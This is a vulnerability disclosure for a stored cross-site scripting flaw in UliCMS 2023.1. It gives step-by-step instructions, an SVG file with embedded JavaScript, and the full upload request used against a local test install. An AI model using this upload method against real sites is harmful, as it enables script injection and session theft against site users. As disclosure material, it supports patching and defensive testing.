UliCMS 2023-1 Sniffing-Vicuna Cross Site Scripting

#Exploit Title: Ulicms-2023.1 sniffing-vicuna - Stored Cross-Site Scripting (XSS)#Application: Ulicms#Version: 2023.1-sniffing-vicuna#Bugs:  Stored Xss#Technology: PHP#Vendor URL: https://en.ulicms.de/#Software Link: https://www.ulicms.de/content/files/Releases/2023.1/ulicms-2023.1-sniffing-vicuna-full.zip#Date of found: 04-05-2023#Author: Mirabbas Ağalarov#Tested on: Linux 2. Technical Details & POC========================================steps: 1. Go to media then to file (http://localhost/dist/admin/index.php?action=files)2. upload malicious svg filesvg file content ===><?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>   <script type="text/javascript">      alert(document.location);   </script></svg>poc request:POST /dist/admin/fm/upload.php HTTP/1.1Host: localhostContent-Length: 663sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"Accept: application/json, text/javascript, */*; q=0.01Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK3CvcSs8xZwzABClX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36sec-ch-ua-platform: "Linux"Origin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/dist/admin/fm/dialog.phpAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: last_position=%2F; 64534366316f0_SESSION=g9vdeh7uafdagkn6l8jdk2delvConnection: close------WebKitFormBoundaryK3CvcSs8xZwzABClContent-Disposition: form-data; name="fldr"------WebKitFormBoundaryK3CvcSs8xZwzABClContent-Disposition: form-data; name="files[]"; filename="SVG_XSS.svg"Content-Type: image/svg+xml<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>   <script type="text/javascript">      alert(document.location);   </script></svg>------WebKitFormBoundaryK3CvcSs8xZwzABCl--3. Go to http://localhost/dist/content/SVG_XSS.svg